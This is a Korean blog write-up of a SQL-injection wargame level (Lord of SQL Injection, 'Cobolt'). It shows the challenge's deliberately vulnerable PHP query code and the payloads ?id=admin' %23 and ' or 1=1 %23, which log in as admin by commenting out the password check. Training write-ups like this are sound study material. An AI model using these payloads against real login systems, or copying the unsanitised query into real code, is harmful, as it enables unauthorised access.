티스토리 뷰
<?php
include "./config.php";
login_chk();
dbconnect();
// 입력 값 필터링
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
// 쿼리 생성 및 실행
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
// 쿼리의 결과가 admin이면 클리어 ~
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
2번 문제 Cobolt의 소스이다.
소스를 읽어본 결과 따로 필터링되고 있는 값이 없어서,
1번과 똑같이 쿼리를 완성해주면 클리어가 될 줄 알았다.
?id=asd' or 1=1 %23
위와 같이 입력하니 'Hello rubiya ~ You are not admin!' 이라는 문자를 출력한다.
그렇다면 id를 admin으로 넣고 주석처리를 해주자.
?id=admin' %23
그렇다면 아래의 query가 완성되면서 클리어된다.
(# 뒤의 문자는 주석처리되어 없는 문자인 셈 처리가 된다.)
select id from prob_cobolt where id='admin' #' and pw=md5('')
'워게임 > Lord of SQL injection' 카테고리의 다른 글
[LOS] 6번. DARKELF (0) | 2019.05.08 |
---|---|
[LOS] 5번. WOLFMAN (0) | 2019.05.08 |
[LOS] 4번. orc (0) | 2019.05.08 |
[LOS] 3번. GOBLIN (0) | 2019.05.07 |
[LOS] 1번. Gremlin (0) | 2019.05.07 |
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- webhacking.kr 58번
- 써니나타스
- SuNiNaTaS 8번
- SuNiNaTaS 6번
- Cent OS8
- SuNiNaTaS 7번
- SuNiNaTaS2번
- SuNiNaTaS3번
- 패스워드 복잡도 설정
- 써니나타스 8번
- 계정 잠금 임계값 설정
- 써니나타스 23번
- 써니나타스 22번
- 써니나타스2번
- SuNiNaTaS 22번
- 써니나타스 4번
- 써니나타스 6번
- 써니나타스 7번
- Root원격접속차단
- 써니나타스3번
- SuNiNaTaS 23번
- webhacking.kr 42번
- webhacking.kr
- 패스워드 파일 보호
- 해시 디코딩
- Cent OS 8
- Webhacking.kr 회원가입
- Suninatas
- suninatas1번
- SuNiNaTaS 4번
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
글 보관함